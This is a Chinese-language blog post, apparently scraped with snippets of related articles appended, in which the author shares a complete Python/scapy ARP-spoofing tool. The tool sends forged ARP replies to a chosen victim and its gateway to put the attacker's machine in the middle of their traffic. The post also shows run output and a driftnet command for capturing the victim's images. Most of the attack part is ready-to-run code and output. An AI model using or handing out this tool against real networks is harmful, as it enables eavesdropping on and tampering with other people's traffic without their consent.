用python编写的定向arp欺骗工具

  刚学习了scapy模块的一些用法,非常强大,为了练手,利用此模块编写了一个arp欺骗工具,其核心是构造arp欺骗包。加了一个-a参数用于进行全网欺骗,先暂不实现。代码如下:

 1 #--*--coding=utf-8--*--
 2
 3 from scapy.all import *
 4 import optparse
 5 import threading
 6
 7 #解决在linux系统上运行时报的unicode编码相关错误
 8 import sys
 9 reload(sys)
10 sys.setdefaultencoding(‘utf-8‘)
11
12
13 def getMac(tgtIP):
14     ‘‘‘
15     调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。
16     ‘‘‘
17     try:
18         tgtMac = getmacbyip(tgtIP)
19         return tgtMac
20     except:
21         print ‘[-]请检查目标IP是否存活‘
22
23 def createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP):
24     ‘‘‘
25     生成ARP数据包,伪造网关欺骗目标计算机
26     srcMac:本机的MAC地址,充当中间人
27     tgtMac:目标计算机的MAC
28     gatewayIP:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击
29     tgtIP:目标计算机的IP
30     op=2,表示ARP响应
31     ‘‘‘
32     pkt = Ether(src=srcMac,dst=tgtMac)/ARP(hwsrc=srcMac,psrc=gatewayIP,hwdst=tgtMac,pdst=tgtIP,op=2)
33     return pkt
34
35 def createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP):
36     ‘‘‘
37     生成ARP数据包,伪造目标计算机欺骗网关
38     srcMac:本机的MAC地址,充当中间人
39     gatewayMac:网关的MAC
40     tgtIP:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击
41     gatewayIP:网关的IP
42     op=2,表示ARP响应
43     ‘‘‘
44     pkt = Ether(src=srcMac,dst=gatewayMac)/ARP(hwsrc=srcMac,psrc=tgtIP,hwdst=gatewayMac,pdst=gatewayIP,op=2)
45     return pkt
46
47
48 def main():
49     usage = ‘Usage: %prog -t <targetip> -g <gatewayip> -i <interface> -a‘
50     parser = optparse.OptionParser(usage,version=‘v1.0‘)
51     parser.add_option(‘-t‘,dest=‘targetIP‘,type=‘string‘,help=‘指定目标计算机IP‘)
52     parser.add_option(‘-g‘,dest=‘gatewayIP‘,type=‘string‘,help=‘指定网关IP‘)
53     parser.add_option(‘-i‘,dest=‘interface‘,type=‘string‘,help=‘指定使用的网卡‘)
54     parser.add_option(‘-a‘,dest=‘allarp‘,action=‘store_true‘,help=‘是否进行全网arp欺骗‘)
55
56     options,args = parser.parse_args()
57     tgtIP = options.targetIP
58     gatewayIP = options.gatewayIP
59     interface = options.interface
60
61     if tgtIP == None or gatewayIP == None or interface == None:
62         print parser.print_help()
63         exit(0)
64
65     srcMac = get_if_hwaddr(interface)
66     print ‘本机MAC地址是:‘,srcMac
67     tgtMac = getMac(tgtIP)
68     print ‘目标计算机MAC地址是:‘,tgtMac
69     gatewayMac = getMac(gatewayIP)
70     print ‘网关MAC地址是:‘,gatewayMac
71     raw_input(‘按任意键继续:‘)
72
73
74     pktstation = createArp2Station(srcMac,tgtMac,gatewayIP,tgtIP)
75     pktgateway = createArp2Gateway(srcMac,gatewayMac,tgtIP,gatewayIP)
76
77
78     i = 1
79     while True:
80         t = threading.Thread(target=sendp,args=(pktstation,),kwargs={‘iface‘:interface})
81         t.start()
82         t.join()
83         print str(i) + ‘ [*]发送一个计算机ARP欺骗包‘
84
85         s = threading.Thread(target=sendp,args=(pktgateway,),kwargs={‘iface‘:interface,})
86         s.start()
87         s.join()
88         print str(i) + ‘ [*]发送一个网关ARP欺骗包‘
89         i += 1
90
91
92
93 if __name__ == ‘__main__‘:
94     main()

验证如下:

 1 # python arpspoof.py -t 192.168.1.28 -g 192.168.1.1 -i wlan0
 2 WARNING: No route found for IPv6 destination :: (no default route?)
 3 本机MAC地址是: xxx
 4 目标计算机MAC地址是:xxx
 5 网关MAC地址是: xxx
 6 按任意键继续:
 7 .
 8 Sent 1 packets.
 9 1 [*]发送一个计算机ARP欺骗包
10 .
11 Sent 1 packets.
12 1 [*]发送一个网关ARP欺骗包
13 .
14 Sent 1 packets.
15 2 [*]发送一个计算机ARP欺骗包
16 .
17 Sent 1 packets.
18 2 [*]发送一个网关ARP欺骗包
19 .
20 Sent 1 packets.
21 3 [*]发送一个计算机ARP欺骗包
22 .
23 Sent 1 packets.
24 3 [*]发送一个网关ARP欺骗包
25 ......

#driftnet -i wlan0

时间: 2024-10-14 18:03:21

用python编写的定向arp欺骗工具的相关文章

用python编写一个高效搜索代码工具

用python编写一个高效搜索代码工具大多码农在linux环境下使用grep+关键词的命令搜索自己想要的代码或者log文件.今天介绍用python如何编写一个更强大的搜索工具,windows下也适用.我们的需求:1, 可以同时指定多个关键词.比如某个文件某一行中有"error: aa bb cc",如果检索关键词error和cc则可以显示该行,避免单一关键词冗余信息太多2, 可以排除某些关键词.对于"error: aa bb cc" ,如果设定排除bb,则不予显示该

用python编写的excel拆分小工具

from datetime import date,datetime from openpyxl import Workbook from openpyxl import load_workbook from openpyxl.styles import Border, Side, Font,Alignment from tkinter import * from tkinter import filedialog from tkinter import messagebox ''' 设置单元格

Python黑客编程ARP欺骗

Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据监听.篡改.重放.钓鱼等攻击方式. 在进行ARP欺骗的编码实验之前,我们有必要了解下ARP和ARP欺骗的原理. 3.1.1 ARP和ARP欺骗原理 ARP是地址转换协议(Address Resolution Protocol)的英文缩写,它是一个链路层协议,工作在OSI 模型的第二层,在本层和硬件接

Python黑帽编程 3.1 ARP欺骗

Python灰帽编程 3.1 ARP欺骗 ARP欺骗是一种在局域网中常用的攻击手段,目的是让局域网中指定的(或全部)的目标机器的数据包都通过攻击者主机进行转发,是实现中间人攻击的常用手段,从而实现数据监听.篡改.重放.钓鱼等攻击方式. 在进行ARP欺骗的编码实验之前,我们有必要了解下ARP和ARP欺骗的原理. 3.1.1 ARP和ARP欺骗原理 ARP是地址转换协议(Address Resolution Protocol)的英文缩写,它是一个链路层协议,工作在OSI 模型的第二层,在本层和硬件接

[c#]记一次实验室局域网的ARP欺骗

起因 某天中午午睡时,笔者被激烈的键盘和鼠标声音吵醒,发现实验室的同学在那边忘我地打LOL,顿觉不爽,于是决定整他一下.想了一下之后觉得就让他掉线一下作为惩罚好了.结合以往的理论知识,大家在同一个局域网中,用ARP欺骗显然是一个好办法,于是就有了本文接下来的故事. ARP欺骗理论 首先先来整理一下关于ARP欺骗的理论知识.ARP欺骗[1](英语:ARP spoofing),又称ARP病毒(ARP poisoning)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术.此种攻击可让攻击

python scapy的用法之ARP主机扫描和ARP欺骗

目录: 1.scapy介绍 2.安装scapy 3.scapy常用 4.ARP主机扫描 5.ARP欺骗 一.scapy介绍 scapy是一个可用于网络嗅探的非常强大的第三方库. 具有以下几个特点: 1.交互模式,用作第三方库. 2.可以用开做packet嗅探和伪造packet 3.已经再内部实现了大量的网络协议.(DNS,ARP,IP,TCP,UDP等等),可以用它来编写非常灵活实用的工具. 二.安装 pip intall scapy pip install ipython(运行命令行方式需要)

用Python编写博客导出工具

用Python编写博客导出工具 罗朝辉 (http://kesalin.github.io/) CC 许可,转载请注明出处 写在前面的话 我在 github 上用 octopress 搭建了个人博客,octopress 使用Markdown语法编写博文.之前我在CSDN博客上也写过不少的技术博文,都说自己的孩子再丑也是个宝,所以就起了把CSDN博客里面的文章导出到个人博客上的念头.刚开始想找个工具把CSDN博客导出为xml或文本,然后再把xml或文本转换为Markdown博文.可惜搜了一下现有博

python 使用scapy库进行ARP欺骗

1. 说明 ARP欺骗(ARP spoofing),又称ARP病毒(ARP poisoning)或ARP攻击,是针对以太网地址解析协议(ARP)的一种攻击技术.此种攻击可让攻击者获取局域网上的数据包甚至可篡改数据包,且可让网络上特定电脑或所有电脑无法正常连接.最早探讨ARP欺骗的文章是由Yuri Volobue所写的<ARP与ICMP转向游戏>(ARP and ICMP redirection games). 由于局域网的网络流通不是根据IP地址进行,而是根据MAC地址进行传输.所以,MAC地

scapy编写简单的ARP扫描脚本 本课程基于 Python 的 scapy 模块编写,适合有 Python 基础的同学学习,最终完成一个简单的 ARP 扫描脚本。

scapy编写简单的ARP扫描脚本 本课程基于 Python 的 scapy 模块编写,适合有 Python 基础的同学学习,最终完成一个简单的 ARP 扫描脚本.